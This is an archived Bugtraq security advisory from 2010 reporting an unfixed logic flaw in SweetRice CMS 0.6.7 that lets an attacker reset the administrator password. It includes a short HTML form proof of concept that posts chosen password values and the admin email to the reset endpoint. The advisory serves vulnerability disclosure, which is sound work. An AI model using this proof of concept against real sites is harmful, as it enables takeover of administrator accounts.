Home page logo

bugtraq logo Bugtraq mailing list archives

Reset admin password in SweetRice CMS
From: advisory () htbridge ch
Date: Thu, 4 Nov 2010 10:57:51 +0100 (CET)

Vulnerability ID: HTB22669
Reference: http://www.htbridge.ch/advisory/reset_admin_password_in_sweetrice_cms.html
Product: SweetRice CMS
Vendor: basic-cms.org ( http://www.basic-cms.org/ ) 
Vulnerable Version: 0.6.7
Vendor Notification: 21 October 2010 
Vulnerability Type: Logic error
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/as/index.php" scripts to properly sanitize user-supplied input. 
Attacker can change admin password.

The following PoC is available:

<form action="http://[host]/as/index.php?type=password&mod=resetok"; method="post">
<input name="p1" type="hidden" value="123">
<input name="p2" type="hidden" value="123">
<input name="email" type="hidden" value="[admin_email]">
<input value="Login" name="login" type="submit">

  By Date           By Thread  

Current thread:
  • Reset admin password in SweetRice CMS advisory (Nov 04)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]